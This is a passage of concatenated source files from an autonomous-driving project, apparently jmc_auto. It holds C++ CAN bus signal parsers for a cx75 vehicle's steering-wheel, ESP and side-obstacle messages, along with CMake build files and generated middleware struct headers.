1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accvsetminusType Gwswmmrr0x31b31b::swm_accvsetminus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(1, 1); Gw_swm_mrr_0x31b_31b::Swm_accvsetminusType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_accvsetminusType>(x); return ret; } // config detail: {'name': 'swm_shiftpadrequp', 'enum': {0: 'SWM_SHIFTPADREQUP_NO_PRESS', 1: 'SWM_SHIFTPADREQUP_PRESS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 10, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_shiftpadrequpType Gwswmmrr0x31b31b::swm_shiftpadrequp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 1); Gw_swm_mrr_0x31b_31b::Swm_shiftpadrequpType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_shiftpadrequpType>(x); return ret; } // config detail: {'name': 'swm_acclimphomests', 'enum': {0: 'SWM_ACCLIMPHOMESTS_NORMAL', 1: 'SWM_ACCLIMPHOMESTS_LIMPHOME'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_acclimphomestsType Gwswmmrr0x31b31b::swm_acclimphomests(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(3, 1); Gw_swm_mrr_0x31b_31b::Swm_acclimphomestsType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_acclimphomestsType>(x); return ret; } // config detail: {'name': 'swm_laneassistswitch', 'enum': {0: 'SWM_LANEASSISTSWITCH_PREVENT_LANEASSIST_CONTROL', 1: 'SWM_LANEASSISTSWITCH_ENABLE_LANEASSIST_CONTROL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_laneassistswitchType Gwswmmrr0x31b31b::swm_laneassistswitch(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(6, 1); Gw_swm_mrr_0x31b_31b::Swm_laneassistswitchType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_laneassistswitchType>(x); return ret; } // config detail: {'name': 'swm_acctaugapsetminus', 'enum': {0: 'SWM_ACCTAUGAPSETMINUS_NO_PRESS', 1: 'SWM_ACCTAUGAPSETMINUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetminusType Gwswmmrr0x31b31b::swm_acctaugapsetminus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(7, 1); Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetminusType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_acctaugapsetminusType>(x); return ret; } // config detail: {'name': 'swm_accvsetplus', 'enum': {0: 'SWM_ACCVSETPLUS_NO_PRESS', 1: 'SWM_ACCVSETPLUS_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accvsetplusType Gwswmmrr0x31b31b::swm_accvsetplus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 1); Gw_swm_mrr_0x31b_31b::Swm_accvsetplusType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_accvsetplusType>(x); return ret; } // config detail: {'name': 'swm_shiftpadflt', 'enum': {0: 'SWM_SHIFTPADFLT_NO_FAULT', 1: 'SWM_SHIFTPADFLT_FAULT'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_shiftpadfltType Gwswmmrr0x31b31b::swm_shiftpadflt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(7, 1); Gw_swm_mrr_0x31b_31b::Swm_shiftpadfltType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_shiftpadfltType>(x); return ret; } // config detail: {'name': 'swm_accdeactivate', 'enum': {0: 'SWM_ACCDEACTIVATE_NO_PRESS', 1: 'SWM_ACCDEACTIVATE_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accdeactivateType Gwswmmrr0x31b31b::swm_accdeactivate(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(3, 1); Gw_swm_mrr_0x31b_31b::Swm_accdeactivateType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_accdeactivateType>(x); return ret; } // config detail: {'name': 'swm_accresume', 'enum': {0: 'SWM_ACCRESUME_NO_PRESS', 1: 'SWM_ACCRESUME_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accresumeType Gwswmmrr0x31b31b::swm_accresume(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(4, 1); Gw_swm_mrr_0x31b_31b::Swm_accresumeType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_accresumeType>(x); return ret; } // config detail: {'name': 'swm_accset', 'enum': {0: 'SWM_ACCSET_NO_PRESS', 1: 'SWM_ACCSET_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accsetType Gwswmmrr0x31b31b::swm_accset(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(5, 1); Gw_swm_mrr_0x31b_31b::Swm_accsetType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_accsetType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x31b', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwswmmrr0x31b31b::rolling_counter_0x31b(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'swm_accenableswitch', 'enum': {0: 'SWM_ACCENABLESWITCH_PREVENT_ACC_CONTROL', 1: 'SWM_ACCENABLESWITCH_ENABLE_ACC_CONTROL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 6, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accenableswitchType Gwswmmrr0x31b31b::swm_accenableswitch(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 1); Gw_swm_mrr_0x31b_31b::Swm_accenableswitchType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_accenableswitchType>(x); return ret; } // config detail: {'name': 'checksum_0x31b', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwswmmrr0x31b31b::checksum_0x31b(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'swm_accresume_qt', 'enum': {0: 'SWM_ACCRESUME_QT_VALID', 1: 'SWM_ACCRESUME_QT_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_accresume_qtType Gwswmmrr0x31b31b::swm_accresume_qt(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(7, 1); Gw_swm_mrr_0x31b_31b::Swm_accresume_qtType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_accresume_qtType>(x); return ret; } // config detail: {'name': 'swm_tjaswitch', 'enum': {0: 'SWM_TJASWITCH_PREVENT_TJA_CONTROL', 1: 'SWM_TJASWITCH_ENABLE_TJA_CONTROL'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_tjaswitchType Gwswmmrr0x31b31b::swm_tjaswitch(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 1); Gw_swm_mrr_0x31b_31b::Swm_tjaswitchType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_tjaswitchType>(x); return ret; } // config detail: {'name': 'swm_shiftpadreqdown', 'enum': {0: 'SWM_SHIFTPADREQDOWN_NO_PRESS', 1: 'SWM_SHIFTPADREQDOWN_PRESS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_mrr_0x31b_31b::Swm_shiftpadreqdownType Gwswmmrr0x31b31b::swm_shiftpadreqdown(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(1, 1); Gw_swm_mrr_0x31b_31b::Swm_shiftpadreqdownType ret = static_cast<Gw_swm_mrr_0x31b_31b::Swm_shiftpadreqdownType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(vehicle_model_config_proto vehicle_model_config.pb.cc vehicle_model_config.pb.h) target_link_libraries(vehicle_model_config_proto common_proto header_proto protobuf)<file_sep>#ifndef MODULES_CANBUS_TOOLS_GFLAGS_H_ #define MODULES_CANBUS_TOOLS_GFLAGS_H_ #include "gflags/gflags.h" // System gflags DECLARE_string(teleop_node_name); DECLARE_string(teleop_module_name); DECLARE_string(teleop_adapter_config_filename); DECLARE_double(throttle_inc_delta); DECLARE_double(brake_inc_delta); DECLARE_double(steer_inc_delta); #endif <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_adaptermanagerconfig_h #define impl_type_adaptermanagerconfig_h #include "impl_type_bool.h" #include "impl_type_adapterconfig.h" struct AdapterManagerConfig { ::AdapterConfig config; ::Bool is_ros; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(config); fun(is_ros); } template<typename F> void enumerate(F& fun) const { fun(config); fun(is_ros); } bool operator == (const ::AdapterManagerConfig& t) const { return (config == t.config) && (is_ros == t.is_ros); } }; #endif // impl_type_adaptermanagerconfig_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef jmc_auto_controlcommandserviceinterface_skeleton_h #define jmc_auto_controlcommandserviceinterface_skeleton_h #include "ara/com/internal/skeleton/SkeletonAdapter.h" #include "ara/com/internal/skeleton/EventAdapter.h" #include "ara/com/internal/skeleton/FieldAdapter.h" #include "jmc_auto/controlcommandserviceinterface_common.h" #include "impl_type_controlcommand.h" #include <cstdint> namespace jmc_auto { namespace skeleton { namespace events { using ControlCommandEvent = ara::com::internal::skeleton::event::EventAdapter<::ControlCommand>; static constexpr ara::com::internal::EntityId ControlCommandEventId = 57416; //ControlCommandEvent_event_hash } namespace methods { } namespace fields { } class ControlCommandServiceInterfaceSkeleton : public ara::com::internal::skeleton::SkeletonAdapter { public: explicit ControlCommandServiceInterfaceSkeleton(ara::com::InstanceIdentifier instanceId, ara::com::MethodCallProcessingMode mode = ara::com::MethodCallProcessingMode::kEvent) :ara::com::internal::skeleton::SkeletonAdapter(::jmc_auto::ControlCommandServiceInterface::ServiceIdentifier, instanceId, mode), ControlCommandEvent(GetSkeleton(), events::ControlCommandEventId) { } ControlCommandServiceInterfaceSkeleton(const ControlCommandServiceInterfaceSkeleton&) = delete; ControlCommandServiceInterfaceSkeleton& operator=(const ControlCommandServiceInterfaceSkeleton&) = delete; ControlCommandServiceInterfaceSkeleton(ControlCommandServiceInterfaceSkeleton&& other) = default; ControlCommandServiceInterfaceSkeleton& operator=(ControlCommandServiceInterfaceSkeleton&& other) = default; virtual ~ControlCommandServiceInterfaceSkeleton() { ara::com::internal::skeleton::SkeletonAdapter::StopOfferService(); } void OfferService() { InitializeEvent(ControlCommandEvent); ara::com::internal::skeleton::SkeletonAdapter::OfferService(); } events::ControlCommandEvent ControlCommandEvent; }; } // namespace skeleton } // namespace jmc_auto #endif // jmc_auto_controlcommandserviceinterface_skeleton_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(rtk_localization rtk_localization.cc rtk_localization.h) target_link_libraries(rtk_localization ${COMMON_LIB} adapter_manager common_proto status time #localization_base localization_common localization_config_proto localization_proto canbus_proto -lproj )<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_chunkbodycache_h #define impl_type_chunkbodycache_h #include "impl_type_uint64.h" struct ChunkBodyCache { ::UInt64 message_number; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(message_number); } template<typename F> void enumerate(F& fun) const { fun(message_number); } bool operator == (const ::ChunkBodyCache& t) const { return (message_number == t.message_number); } }; #endif // impl_type_chunkbodycache_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(discretized_path discretized_path.cc discretized_path.h) target_link_libraries(discretized_path linear_interpolation pnc_point_proto) add_library(frenet_frame_path frenet_frame_path.cc frenet_frame_path.h) target_link_libraries(frenet_frame_path linear_interpolation planning_proto) add_library(path_data path_data.cc path_data.h) target_link_libraries(path_data discretized_path frenet_frame_path cartesian_frenet_conversion planning_gflags /modules/planning/reference_line) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(transform_listener transform_listener.cc transform_listener.h) target_link_libraries(transform_listener jmcauto_log time) <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_VLC_0X223_223_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_VLC_0X223_223_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Espvlc0x223223 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Espvlc0x223223(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'ESP_VLC_InternalTargetAcce', 'offset': -7.0, 'precision': 0.05, 'len': 8, 'is_signed_var': False, 'physical_range': '[-7|5.75]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': ''} double esp_vlc_internaltargetacce(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_APA_GearBoxEnable', 'enum': {0: 'ESP_APA_GEARBOXENABLE_NO_REQUEST', 1: 'ESP_APA_GEARBOXENABLE_GEAR_SHIFT_REQUEST'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_apa_gearboxenableType esp_apa_gearboxenable(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_Target_Gear_Request', 'enum': {0: 'ESP_TARGET_GEAR_REQUEST_NO_REQUEST', 1: 'ESP_TARGET_GEAR_REQUEST_PARK', 2: 'ESP_TARGET_GEAR_REQUEST_REVERSE', 3: 'ESP_TARGET_GEAR_REQUEST_NEUTRAL', 4: 'ESP_TARGET_GEAR_REQUEST_DRIVE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_target_gear_requestType esp_target_gear_request(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VLC_APactive', 'enum': {0: 'ESP_VLC_APACTIVE_NOT_ACTIVE', 1: 'ESP_VLC_APACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlc_apactiveType esp_vlc_apactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_PAM_LC_FailureSts', 'enum': {0: 'ESP_PAM_LC_FAILURESTS_NO_ERROR', 1: 'ESP_PAM_LC_FAILURESTS_VEHICLE_BLOCKED', 2: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_GEARPOSITION', 3: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_EPB_ACTION', 4: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_ACCPEDALINTERVENTION', 5: 'ESP_PAM_LC_FAILURESTS_UNEXPECTED_GEARINTERVENTION', 7: 'ESP_PAM_LC_FAILURESTS_ERROR'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_pam_lc_failurestsType esp_pam_lc_failurests(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_PAM_LC_Status', 'enum': {0: 'ESP_PAM_LC_STATUS_OFF', 1: 'ESP_PAM_LC_STATUS_STANDBY', 10: 'ESP_PAM_LC_STATUS_ERROR', 4: 'ESP_PAM_LC_STATUS_ACTIVE_AUTOMATICPARK'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_pam_lc_statusType esp_pam_lc_status(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x223', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x223(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VLC_Active', 'enum': {0: 'ESP_VLC_ACTIVE_NOT_ACTIVE', 1: 'ESP_VLC_ACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlc_activeType esp_vlc_active(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VLC_Available', 'enum': {0: 'ESP_VLC_AVAILABLE_NOT_AVAILABLE', 1: 'ESP_VLC_AVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlc_availableType esp_vlc_available(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VLCAPA_Available', 'enum': {0: 'ESP_VLCAPA_AVAILABLE_NOT_AVAILABLE', 1: 'ESP_VLCAPA_AVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlcapa_availableType esp_vlcapa_available(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VLCEngTorqReqAct', 'enum': {0: 'ESP_VLCENGTORQREQACT_VALID', 1: 'ESP_VLCENGTORQREQACT_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_vlc_0x223_223::Esp_vlcengtorqreqactType esp_vlcengtorqreqact(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x223', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x223(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_VLCEngTorqReq', 'offset': -30000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int esp_vlcengtorqreq(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_ESP_VLC_0X223_223_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_padmessage_h #define impl_type_padmessage_h #include "impl_type_drivingaction.h" #include "impl_type_header.h" #include "impl_type_drivingmode.h" struct PadMessage { ::Header header; ::DrivingMode driving_mode; ::DrivingAction action; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(header); fun(driving_mode); fun(action); } template<typename F> void enumerate(F& fun) const { fun(header); fun(driving_mode); fun(action); } bool operator == (const ::PadMessage& t) const { return (header == t.header) && (driving_mode == t.driving_mode) && (action == t.action); } }; #endif // impl_type_padmessage_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(autotuning_raw_feature_generator autotuning_raw_feature_generator.cc autotuning_raw_feature_generator.h) target_link_libraries(autotuning_raw_feature_generator pnc_point_proto /modules/common/status frame reference_line_info speed_limit auto_tuning_raw_feature_proto) add_library(autotuning_feature_builder INTERFACE) target_link_libraries(autotuning_feature_builder INTERFACE /modules/common/status auto_tuning_model_input_proto auto_tuning_raw_feature_proto) add_library(autotuning_mlp_net_model autotuning_mlp_net_model.cc autotuning_mlp_net_model.h) target_link_libraries(autotuning_mlp_net_model /modules/prediction/network:net_model) add_library(autotuning_base_model INTERFACE) target_link_libraries(autotuning_base_model INTERFACE autotuning_feature_builder autotuning_mlp_net_model /modules/common/status auto_tuning_model_input_proto) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(decider_base decider.cc decider.h) target_link_libraries(decider_base /modules/common/status frame /modules/planning/tasks:task) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(adapter_config_proto adapter_config.pb.cc adapter_config.pb.h) target_link_libraries(adapter_config_proto protobuf) <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/sod_0x275_275.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Sod0x275275::Sod0x275275() {} const int32_t Sod0x275275::ID = 0x275; void Sod0x275275::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_lca_warningreqright(sod_lca_warningreqright(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_blis_active(sod_blis_active(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_blis_display(sod_blis_display(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_lca_warningreqleft(sod_lca_warningreqleft(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_doa_warningreqleftrear(sod_doa_warningreqleftrear(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_doa_warningreqleftfront(sod_doa_warningreqleftfront(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_cta_warningreqleft(sod_cta_warningreqleft(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_doa_state(sod_doa_state(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_cta_state(sod_cta_state(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_sodlca_state(sod_sodlca_state(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_doa_offtelltale(doa_offtelltale(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_doa_warningreqrightrear(sod_doa_warningreqrightrear(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_cta_offtelltale(cta_offtelltale(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sodlca_offtelltale(sodlca_offtelltale(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_doa_warningreqrightfront(sod_doa_warningreqrightfront(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_rolling_counter_0x275(rolling_counter_0x275(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_checksum_0x275(checksum_0x275(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_cta_warningreqright(sod_cta_warningreqright(bytes, length)); chassis->mutable_cx75()->mutable_sod_0x275_275()->set_sod_autoalignmentflag(sod_autoalignmentflag(bytes, length)); } // config detail: {'name': 'sod_lca_warningreqright', 'enum': {0: 'SOD_LCA_WARNINGREQRIGHT_NO_WARNING', 1: 'SOD_LCA_WARNINGREQRIGHT_WARNING_LEVEL_1', 2: 'SOD_LCA_WARNINGREQRIGHT_WARNING_LEVEL_2', 3: 'SOD_LCA_WARNINGREQRIGHT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_lca_warningreqrightType Sod0x275275::sod_lca_warningreqright(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 2); Sod_0x275_275::Sod_lca_warningreqrightType ret = static_cast<Sod_0x275_275::Sod_lca_warningreqrightType>(x); return ret; } // config detail: {'name': 'sod_blis_active', 'enum': {0: 'SOD_BLIS_ACTIVE_NO_ACTIVE', 1: 'SOD_BLIS_ACTIVE_STANBY', 2: 'SOD_BLIS_ACTIVE_ACTIVE', 3: 'SOD_BLIS_ACTIVE_FAIL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_blis_activeType Sod0x275275::sod_blis_active(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 2); Sod_0x275_275::Sod_blis_activeType ret = static_cast<Sod_0x275_275::Sod_blis_activeType>(x); return ret; } // config detail: {'name': 'sod_blis_display', 'enum': {0: 'SOD_BLIS_DISPLAY_NO_DISPLAY', 1: 